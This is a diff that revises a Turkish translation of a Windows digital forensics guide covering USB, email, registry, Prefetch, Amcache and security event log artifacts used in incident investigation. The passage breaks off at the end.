Jumplist'ler Bazı LNK dosyalarının orijinal yola değil, WPDNSE klasörüne işaret ettiğini unutmayın: @@ -150,25 +149,25 @@ Bazı LNK dosyalarının orijinal yola değil, WPDNSE klasörüne işaret ettiğ WPDNSE klasöründeki dosyalar orijinal dosyaların bir kopyasıdır, bu nedenle PC'nin yeniden başlatılmasını sağlamazlar ve GUID bir shellbag'den alınır. -### Registry Bilgileri +### Kayıt Defteri Bilgileri USB bağlı cihazlar hakkında ilginç bilgiler içeren kayıt defteri anahtarlarının neler olduğunu öğrenmek için [bu sayfaya bakın](interesting-windows-registry-keys.md#usb-information). ### setupapi -USB bağlantısının ne zaman oluşturulduğu hakkında zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` arayın). +USB bağlantısının ne zaman oluşturulduğu hakkında zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` için arama yapın). -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) ### USB Dedektifi -[**USBDetective**](https://usbdetective.com), bir görüntüye bağlanan USB cihazları hakkında bilgi edinmek için kullanılabilir. +[**USBDetective**](https://usbdetective.com), bir görüntüye bağlanmış USB cihazları hakkında bilgi edinmek için kullanılabilir. ![](<../../../.gitbook/assets/image (483).png>) ### Tak ve Çalıştır Temizliği -'Plug and Play Temizliği' olarak bilinen zamanlanmış görev, eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paketi sürümünü koruma amacıyla belirtilen görevin aksine, çevrimiçi kaynaklar, son 30 günde bağlı olmayan sürücülerin hedef alındığını öne sürmektedir. Sonuç olarak, son 30 günde bağlı olmayan taşınabilir cihazlar için sürücüler silinebilir. +'Plug and Play Temizliği' olarak bilinen zamanlanmış görev, eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paketi sürümünü koruma amacıyla belirtilen amacının aksine, çevrimiçi kaynaklar, son 30 günde kullanılmayan sürücülerin hedef alındığını öne sürmektedir. Sonuç olarak, son 30 günde bağlı olmayan taşınabilir cihazlar için sürücüler silinebilir. Görev aşağıdaki dizinde bulunur: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. @@ -177,11 +176,11 @@ Görevin içeriğini gösteren bir ekran görüntüsü sağlanmıştır: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) **Görevin Ana Bileşenleri ve Ayarları:** -- **pnpclean.dll**: Bu DLL, gerçek temizleme işleminde sorumludur. +- **pnpclean.dll**: Bu DLL, gerçek temizleme işleminden sorumludur. - **UseUnifiedSchedulingEngine**: `TRUE` olarak ayarlanmıştır, genel görev zamanlama motorunun kullanıldığını gösterir. - **MaintenanceSettings**: - **Dönem ('P1M')**: Görev Zamanlayıcısını, düzenli Otomatik bakım sırasında aylık olarak temizlik görevini başlatmaya yönlendirir. -- **Son Tarih ('P2M')**: Görevin iki ardışık ay boyunca başarısız olması durumunda, acil Otomatik bakım sırasında görevi gerçekleştirmesi talimatını verir. +- **Son Tarih ('P2M')**: Görevin iki ardışık ay için başarısız olması durumunda, acil Otomatik bakım sırasında görevi yürütmek üzere Zamanlayıcıya talimat verir. Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar ve ardışık başarısızlıklar durumunda görevin tekrar denemesi için hükümler içerir. @@ -189,22 +188,22 @@ Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar v ## E-postalar -E-postalar **2 ilginç bölüm içerir: Başlıklar ve e-posta içeriği**. **Başlıklar** içinde şu bilgileri bulabilirsiniz: +E-postaların **2 ilginç bölümü vardır: Başlıklar ve e-posta içeriği**. **Başlıklar** içinde şu bilgileri bulabilirsiniz: * E-postaları **kimin** gönderdiği (e-posta adresi, IP, e-postayı yönlendiren posta sunucuları) * E-postanın ne zaman gönderildiği -Ayrıca, `References` ve `In-Reply-To` başlıklarında mesajların kimlik numaralarını bulabilirsiniz: +Ayrıca, `References` ve `In-Reply-To` başlıklarında mesajların kimliğini bulabilirsiniz: ![](<../../../.gitbook/assets/image (484).png>) ### Windows Posta Uygulaması -Bu uygulama e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\\AppData\Local\Comms\Unistore\data\3\` içinde alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir. +Bu uygulama e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\\AppData\Local\Comms\Unistore\data\3\` içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir. -E-postaların **meta verileri** ve **kişiler** **EDB veritabanında** bulunabilir: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +E-postaların **meta verileri** ve **kişileri** **EDB veritabanı** içinde bulunabilir: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -Dosyanın uzantısını `.vol`'den `.edb`'ye değiştirerek [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) aracını kullanabilirsiniz. `Message` tablosu içinde e-postaları görebilirsiniz. +Dosyanın uzantısını `.vol` yerine `.edb` olarak değiştirerek [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) aracını kullanabilirsiniz. `Message` tablosu içinde e-postaları görebilirsiniz. ### Microsoft Outlook @@ -238,17 +237,17 @@ Kaybolan ek dosyalar aşağıdaki yerlerden kurtarılabilir: ### Thunderbird MBOX Dosyaları -**Thunderbird**, verileri depolamak için **MBOX dosyalarını** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur. +**Thunderbird**, verileri depolamak için **MBOX dosyalarını** kullanır ve dosyaları `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur. ### Görüntü Önizlemeleri -- **Windows XP ve 8-8.1**: Önizlemeleri olan bir klasöre erişmek, silinmesinden sonra bile görüntü önizlemelerini saklayan bir `thumbs.db` dosyası oluşturur. +- **Windows XP ve 8-8.1**: Önizlemeleri olan bir klasöre erişmek, silinmesinden sonra bile görüntü önizlemelerini depolayan bir `thumbs.db` dosyası oluşturur. - **Windows 7/10**: `thumbs.db`, UNC yolu üzerinden bir ağa erişildiğinde oluşturulur. -- **Windows Vista ve sonraki sürümler**: Önizleme önizlemeleri `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` dizininde **thumbcache\_xxx.db** adıyla merkezi olarak saklanır. Bu dosyaları görüntülemek için [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) araçları kullanılabilir. +- **Windows Vista ve daha yeni sürümler**: Önizleme önizlemeleri `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` dizininde **thumbcache\_xxx.db** adlı dosyalarla merkezi olarak saklanır. Bu dosyaları görüntülemek için [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) araçları kullanılabilir. ### Windows Kayıt Defteri Bilgileri -Geniş sistem ve kullanıcı etkinlik verilerini saklayan Windows Kayıt Defteri, şu dosyalarda bulunur: +Geniş sistem ve kullanıcı etkinlik verilerini depolayan Windows Kayıt Defteri, şu dosyalarda bulunur: - Çeşitli `HKEY_LOCAL_MACHINE` alt anahtarları için `%windir%\System32\Config`. - `HKEY_CURRENT_USER` için `%UserProfile%{User}\NTUSER.DAT`. @@ -257,16 +256,16 @@ Geniş sistem ve kullanıcı etkinlik verilerini saklayan Windows Kayıt Defteri ### Araçlar -Kayıt defteri dosyalarını analiz etmek için bazı araçlar kullanışlıdır: +Kayıt defteri dosyalarını analiz etmek için bazı araçlar şunlardır: * **Kayıt Düzenleyici**: Windows'ta yüklüdür. Geçerli oturumun Windows kayıt defterinde gezinmek için bir GUI sağlar. -* [**Kayıt Düzenleyici**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenize ve GUI ile gezinmenize olanak tanır. Ayrıca, ilginç bilgiler içeren anahtarları vurgulayan yer işaretleri içerir. +* [**Kayıt Düzenleyici**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenize ve GUI ile gezinmenize olanak tanır. Ayrıca ilginç bilgiler içeren anahtarları vurgulayan yer işaretleri içerir. * [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Yine, yüklenen kayıt defterinde gezinmenize izin veren bir GUI'ye sahiptir ve yüklenen kayıt defterindeki ilginç bilgileri vurgulayan eklentiler içerir. -* [**Windows Kayıt Defteri Kurtarma**](https://www.mitec.cz/wrr.html): Yüklenen kayıttan önemli bilgileri çıkarmak için yetenekli başka bir GUI uygulamasıdır. +* [**Windows Kayıt Defteri Kurtarma**](https://www.mitec.cz/wrr.html): Kayıt defterinden önemli bilgileri çıkarmak için yetenekli başka bir GUI uygulamasıdır. ### Silinen Öğe Kurtarma -Bir anahtar silindiğinde, bu şekilde işaretlenir, ancak işgal ettiği alan ihtiyaç duyulana kadar kaldırılmaz. Bu nedenle, **Kayıt Düzenleyici** gibi araçlar kullanılarak bu silinen anahtarların kurtarılması mümkündür. +Bir anahtar silindiğinde işaretlenir, ancak işgal ettiği alan ihtiyaç duyulana kadar kaldırılmaz. Bu nedenle, **Kayıt Düzenleyici** gibi araçlar kullanılarak bu silinen anahtarların kurtarılması mümkündür. ### Son Yazma Zamanı @@ -274,9 +273,9 @@ Her Anahtar-Değer, son olarak değiştirildiği zamanı gösteren bir **zaman d ### SAM -Dosya/hive **SAM**, sistemin **kullanıcıları, grupları ve kullanıcı parolaları** hash'lerini içerir. +Dosya/hive **SAM**, sistemin **kullanıcıları, grupları ve kullanıcı şifreleri** hash'lerini içerir. -`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son girişi, son başarısız girişi, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu alabilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosya/hive'ına ihtiyacınız vardır. +`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son girişi, son başarısız girişi, giriş sayacını, şifre politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosya/hive'ına ihtiyacınız vardır. ### Windows Kayıt Defterindeki İlginç Girişler @@ -292,21 +291,21 @@ Bu [yazıda](https://jonahacks.medium.com/investigating-common-windows-processes ### Windows Son Uygulamaları -Kayıt defterinde `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda, **yürütülen uygulama**, **en son yürütülme zamanı** ve **kaç kez** başlatıldığı hakkında bilgiler içeren alt anahtarlar bulabilirsiniz. +Kayıt defterinde `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda **yürütülen uygulama**, **en son çalıştırılma zamanı** ve **kaç kez** başlatıldığı hakkında bilgiler içeren alt anahtarlar bulabilirsiniz. ### BAM (Arka Plan Etkinlik Düzenleyicisi) -`SYSTEM` dosyasını bir kayıt düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından yürütülen uygulamalar** hakkında bilgileri (yol içindeki `{SID}` dikkate alın) ve **ne zaman** yürütüldüklerini (zaman, kayıt defterinin Veri değerinin içindedir) bulabilirsiniz. +`SYSTEM` dosyasını bir kayıt düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda her kullanıcı tarafından **yürütülen uygulamaların bilgilerini** (yol içindeki `{SID}` dikkate alın) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içindedir) bulabilirsiniz. ### Windows Prefetch -Prefetch, bir bilgisayarın sessizce **kullanıcının yakın gelecekte erişebileceği içeriği görüntülemek için gereken kaynakları sessizce almasına** olanak tanıyan bir tekniktir, böylece kaynaklar daha hızlı erişilebilir hale gelir. +Ön bellekleme, bir bilgisayarın, bir kullanıcının **yakın gelecekte erişebileceği gerekli kaynakları sessizce almasına** olanak tanıyan bir tekniktir, böylece kaynaklar daha hızlı erişilebilir. -Windows prefetch, **daha hızlı yüklemek için yürütülen programların önbelleklerini oluşturmayı** içerir. Bu önbellekler, `.pf` uzantılı dosyalar olarak `C:\Windows\Prefetch` yolunda oluşturulur. XP/VISTA/WIN7'de 128 dosya ve Win8/Win10'da 1024 dosya sınırı vardır. +Windows ön belleği, **daha hızlı yüklemek için yürütülen programların önbelleklerini oluşturmayı** içerir. Bu önbellekler, `.pf` uzantılı dosyalar olarak `C:\Windows\Prefetch` yolunda oluşturulur. XP/VISTA/WIN7'de 128 dosya sınırı ve Win8/Win10'da 1024 dosya sınırı vardır. -Dosya adı `{program_adı}-{hash}.pf` şeklinde oluşturulur (hash, yürütülebilir dosyanın yol ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın varlığı, programın bir noktada **yürütüldüğünü** gösterir. +Dosya adı `{program_adı}-{hash}.pf` şeklinde oluşturulur (hash, yürütülebilir dosyanın yol ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın tek başına varlığı, programın bir noktada **çalıştırıldığını** gösterir. -Dosya `C:\Windows\Prefetch\Layout.ini`, **önbelleğe alınan dosyaların klasör adlarını** içerir. Bu dosya, **yürütme sayısı**, **yürütme tarihleri** ve program tarafından **açılan dosyalar** hakkında bilgiler içerir. +Dosya `C:\Windows\Prefetch\Layout.ini`, **önbelleğe alınan dosyaların klasör adlarını** içerir. Bu dosya, **çalıştırılan dosyaların sayısı**, **çalıştırılma tarihleri** ve program tarafından **açılan dosyalar** hakkında bilgiler içerir. Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) aracını kullanabilirsiniz. ```bash @@ -314,10 +313,10 @@ Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/P ``` ![](<../../../.gitbook/assets/image (487).png>) -### Superprefetch +### Süper Ön Yükleme -**Superprefetch** aynı amaca sahiptir prefetch, **programları daha hızlı yükleyerek** bir sonraki yüklemenin ne olacağını tahmin ederek. Ancak, prefetch hizmetini yerine koymaz.\ -Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturacaktır. +**Süper Ön Yükleme** ön yükleme ile aynı amaca sahiptir, **programları daha hızlı yükleyerek** bir sonraki yüklemenin ne olacağını tahmin eder. Ancak, ön yükleme hizmetini yerine koymaz.\ +Bu hizmet, `C:\Windows\Prefetch\Ag*.db` içinde veritabanı dosyaları oluşturacaktır. Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman aralıkları** ve **zaman damgaları** bulabilirsiniz. @@ -325,7 +324,7 @@ Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community ### SRUM -**System Resource Usage Monitor** (SRUM) bir işlem tarafından **tüketilen kaynakları izler**. W8'de ortaya çıktı ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar. +**Sistem Kaynak Kullanımı İzleyicisi** (SRUM) bir işlem tarafından **tüketilen kaynakları izler**. W8'de ortaya çıktı ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bulunan bir ESE veritabanında saklar. Aşağıdaki bilgileri verir: @@ -364,27 +363,27 @@ Depolanan bilgileri ayrıştırmak için [**AppCompatCacheParser** aracı](https ### Amcache -**Amcache.hve** dosyası, bir sistemin üzerinde çalıştırılan uygulamalar hakkında detayları kaydeden bir kayıt hive'ıdır. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur. +**Amcache.hve** dosyası, bir sistemin üzerinde çalıştırılan uygulamalar hakkında ayrıntıları kaydeden bir kayıt hive'ıdır. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur. -Bu dosya, son zamanlarda çalıştırılan işlemlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 karma değerlerini içermesiyle dikkat çekicidir. Bu bilgi, bir sistemdeki uygulamaların faaliyetlerini izlemek için çok değerlidir. +Bu dosya, son zamanlarda çalıştırılan işlemlerin kayıtlarını saklamak için dikkat çekicidir, bu da uygulamaların bir sistemdeki etkinliğini izlemek için çok değerli bir bilgidir. -**Amcache.hve** dosyasından verileri çıkarmak ve analiz etmek için [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ın **Amcache.hve** dosyasının içeriğini ayrıştırarak sonuçları CSV formatında çıkarmak için nasıl kullanılacağını gösterir: +**Amcache.hve** dosyasından verileri çıkarmak ve analiz etmek için [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, **Amcache.hve** dosyasının içeriğini ayrıştırmak ve sonuçları CSV formatında çıkarmak için AmcacheParser'ın nasıl kullanılacağına dair bir örnektir: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` -Oluşturulan CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında zengin bilgiler sağlar. +Oluşturulan CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında sağladığı zengin bilgilerle bilinir. -En ilginç CVS dosyası `Amcache_Unassociated file entries` olarak oluşturulmuştur. +En ilginç CSV dosyası `Amcache_Unassociated file entries` olarak oluşturulmuştur. ### RecentFileCache -Bu sanat eseri, bazı ikili dosyaların son yürütülmesi hakkında bilgi içeren `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` konumunda yalnızca W7'de bulunabilir. +Bu sanat eseri yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` içinde bulunabilir ve bazı ikili dosyaların son yürütülmesi hakkında bilgiler içerir. Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz. ### Zamanlanmış görevler -Onları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` konumlarından çıkarabilir ve XML olarak okuyabilirsiniz. +Onları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` içinden çıkarabilir ve XML olarak okuyabilirsiniz. ### Hizmetler @@ -392,13 +391,13 @@ Hizmetleri `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirs ### **Windows Mağazası** -Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` konumunda bulunabilir.\ -Bu depoda, sisteme yüklenen **her uygulama** hakkında **`StateRepository-Machine.srd`** veritabanı içinde bir **günlük** bulunmaktadır. +Yüklü uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` içinde bulunabilir.\ +Bu depoda sisteme yüklenen **her uygulama** hakkında **`StateRepository-Machine.srd`** veritabanı içinde bir **günlük** bulunur. -Bu veritabanının Application tablosu içinde, "Uygulama Kimliği", "Paket Numarası" ve "Görüntü Adı" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve yüklenen uygulamaların kimlikleri sıralı olmalıdır. +Bu veritabanının Application tablosu içinde "Uygulama Kimliği", "Paket Numarası" ve "Görüntü Adı" sütunlarını bulmak mümkündür. Bu sütunlar önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve yüklenen uygulamaların kimlikleri sıralı olmalıdır. -Ayrıca, yüklenen uygulamaları `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` yolunda **bulmak** mümkündür\ -Ve **kaldırılan** **uygulamaları** `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` konumunda bulabilirsiniz. +Ayrıca, yüklü uygulamaları kayıt defteri yolunda **bulabilirsiniz**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Ve **kaldırılan** **uygulamaları** şurada bulabilirsiniz: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Olayları @@ -410,15 +409,15 @@ Windows olayları içinde görünen bilgiler: * İlgili Ana Bilgisayarlar (ana bilgisayar adı, IP) * Erişilen Varlıklar (dosyalar, klasörler, yazıcılar, hizmetler) -Olay kayıtları, Windows Vista'dan önce `C:\Windows\System32\config` ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` konumlarında bulunmaktadır. Windows Vista'dan önce, olay kayıtları ikili formatta iken sonrasında **XML formatında** ve **.evtx** uzantısını kullanmaktadır. +Olay günlükleri, Windows Vista'dan önce `C:\Windows\System32\config` içinde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` içinde bulunur. Windows Vista'dan önce, olay günlükleri ikili formatta ve sonrasında **XML formatında** ve **.evtx** uzantısını kullanır. -Olay dosyalarının konumu, olay günlüklerinin **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunan SYSTEM kayıt defterinde bulunabilir. +Olay dosyalarının konumu, olay günlüğünün **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunabilir. -Bu olaylar, Windows Olay Görüntüleyicisi (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) gibi diğer araçlarla **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** ile** görselleştirilebilir. +Bu olaylar Windows Olay Görüntüleyicisi (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) gibi diğer araçlarla veya [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** gibi diğer araçlarla görselleştirilebilir.** -## Windows Güvenlik Olay Günlüğü Anlama +## Windows Güvenlik Olay Günlüğünü Anlama -Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasitesine ulaşıldığında, eski olaylar üzerine yazılır. Kaydedilen olaylar arasında kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarına yapılan değişiklikler, ayrıca dosya, klasör ve paylaşılan varlıklara erişim bulunmaktadır. +Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasitesine ulaşıldığında, eski olaylar üzerine yazılır. Kaydedilen olaylar arasında kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarına yapılan değişiklikler, ayrıca dosya, klasör ve paylaşılan varlıklara erişim bulunur. ### Kullanıcı Kimlik Doğrulama için Ana Olay Kimlikleri: @@ -437,25 +436,25 @@ Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güven - **Kilidi Aç (7)**: Şifre ile kilidin açılması. - **Ağ Düz Metin (8)**: Genellikle IIS'den gelen düz metin şifre iletimi. - **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgilerinin kullanımı. -- **Uzaktan Etkileşimli (10)**: Uzak masaüstü veya terminal hizmetleri girişi. -- **Önbellek Etkileşimli (11)**: Etki alanı denetleyicisi ile iletişim olmadan önbellek kimlik bilgileri ile giriş. -- **Önbellek Uzaktan Etkileşimli (12)**: Önbellek kimlik bilgileri ile uzaktan giriş. -- **Önbellek Kilidi Aç (13)**: Önbellek kimlik bilgileri ile kilidin açılması. +- **Uzak Etkileşimli (10)**: Uzak masaüstü veya terminal hizmetleri girişi. +- **Önbellek Etkileşimli (11)**: Etki alanı denetleyicisi ile iletişim olmadan önbellek kimlik bilgileriyle giriş. +- **Önbellek Uzak Etkileşimli (12)**: Önbellek kimlik bilgileriyle uzaktan giriş. +- **Önbellek Kilidi Aç (13)**: Önbellek kimlik bilgileriyle kilidin açılması. #### Olay Kimliği 4625 için Durum ve Alt Durum Kodları: - **0xC0000064**: Kullanıcı adı mevcut değil - Kullanıcı adı sıralama saldırısını gösterebilir. -- **0xC000006A**: Doğru kullanıcı adı ancak yanlış şifre - Olası şifre tahmini veya kaba kuvvet saldırısı. -- **0xC0000234**: Kullanıcı hesabı kilitli - Birden fazla başarısız girişim sonucu kilitlenen hesapları takip edebilir. -- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılan hesaplara yetkisiz erişim girişimleri. -- **0xC000006F**: İzin verilen saatler dışında oturum açma - Belirlenen oturum açma saatleri dışında erişim girişimleri, yetkisiz erişimin olası bir işareti. +- **0xC000006A**: Doğru kullanıcı adı ancak yanlış şifre - Olası şifre tahmini veya kaba kuvvet saldırısını gösterebilir. +- **0xC0000234**: Kullanıcı hesabı kilitli - Birden fazla başarısız giriş denemesi sonucunda kilitlenmiş hesapları takip edebilir. +- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim denemelerini gösterebilir. +- **0xC000006F**: İzin verilen saatler dışında oturum açma - Belirlenen oturum açma saatleri dışında erişim denemelerini gösterebilir, yetkisiz erişimin olası bir işareti olabilir. - **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir konumdan oturum açma girişimi olabilir. -- **0xC0000193**: Hesap süresi doldu - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri. -- **0xC0000071**: Süresi dolmuş şifre - Güncelliğini yitirmiş şifrelerle oturum açma girişimleri. +- **0xC0000193**: Hesap süresinin dolması - Süresi dolmuş kullanıcı hesaplarıyla erişim denemelerini gösterebilir. +- **0xC0000071**: Süresi dolmuş şifre - Güncel olmayan şifrelerle oturum açma denemelerini gösterebilir. - **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasındaki büyük zaman farkları, pass-the-ticket gibi daha sofistike saldırıların işareti olabilir. - **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozmaya yönelik bir girişimi gösterebilir. - **0xC0000225**: Bir güvenlik sorunu yerine bir sistem hatasını gösterir. -- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, bir kullanıcının bir hizmet oturumu açmaya çalışması gibi. +- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim denemesini gösterebilir, örneğin bir kullanıcının bir hizmet oturumu açmaya çalışması. #### Olay Kimliği 4616: - **Zaman Değişikliği**: Sistem zamanının değiştirilmesi, olay zaman çizgisini karıştırabilir. @@ -471,17 +470,17 @@ Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güven - **10100**: USB sürücü güncellemesi. - **Olay Kimliği 112**: USB cihazı takma zamanı. -Bu oturum açma türlerini ve kimlik bilgilerini bulma fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun. +Bu giriş türlerini ve kimlik bilgilerini nerede bulabileceğiniz ve kimlik bilgilerini nerede bulabileceğiniz gibi pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun. -Olay ayrıntıları, durum ve alt durum kodları, özellikle Olay Kimliği 4625'te olay nedenleri hakkında daha fazla bilgi sağlar. +Olay ayrıntıları, durum ve alt durum kodları da dahil olmak üzere olay nedenleri hakkında daha fazla bilgi sağlar, özellikle Olay Kimliği 4625'te dikkate değerdir. ### Windows Olaylarını Kurtarma -Silinmiş Windows Olaylarını kurtarma şansını artırmak için şüpheli bilgisayarı doğrudan fişten çekerek kapatmanız önerilir. `.evtx` uzantısını belirten bir kurtarma aracı olan **Bulk_extractor**'ı, bu tür olayları kurtarmak için denemeniz önerilir. +Silinmiş Windows Olaylarını kurtarma şansını artırmak için şüpheli bilgisayarı doğrudan fişten çekerek kapatmanız önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı, bu tür olayları kurtarmak için önerilir. ### Windows Olayları Aracılığıyla Ortak Saldırıları Tanımlama -Ortak siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin. +Ortak siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma kılavuzu için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin. #### Kaba Kuvvet Saldırıları @@ -489,34 +488,34 @@ Birden fazla Olay Kimliği 4625 kaydıyla tanımlanabilir, saldırı başarılı #### Zaman Değişikliği -Sistem zamanı değişiklikleri, Olay Kimliği 4616 tarafından kaydedilir ve bu durumlar, adli analizi karmaşık hale getirebilir. +Olay Kimliği 4616 tarafından kaydedilen sistem zamanı değişiklikleri, adli analizi karmaşık hale getirebilir. #### USB Cihaz Takibi -USB cihaz takibi için kullanışlı Sistem Olay Kimlikleri, başlangıç 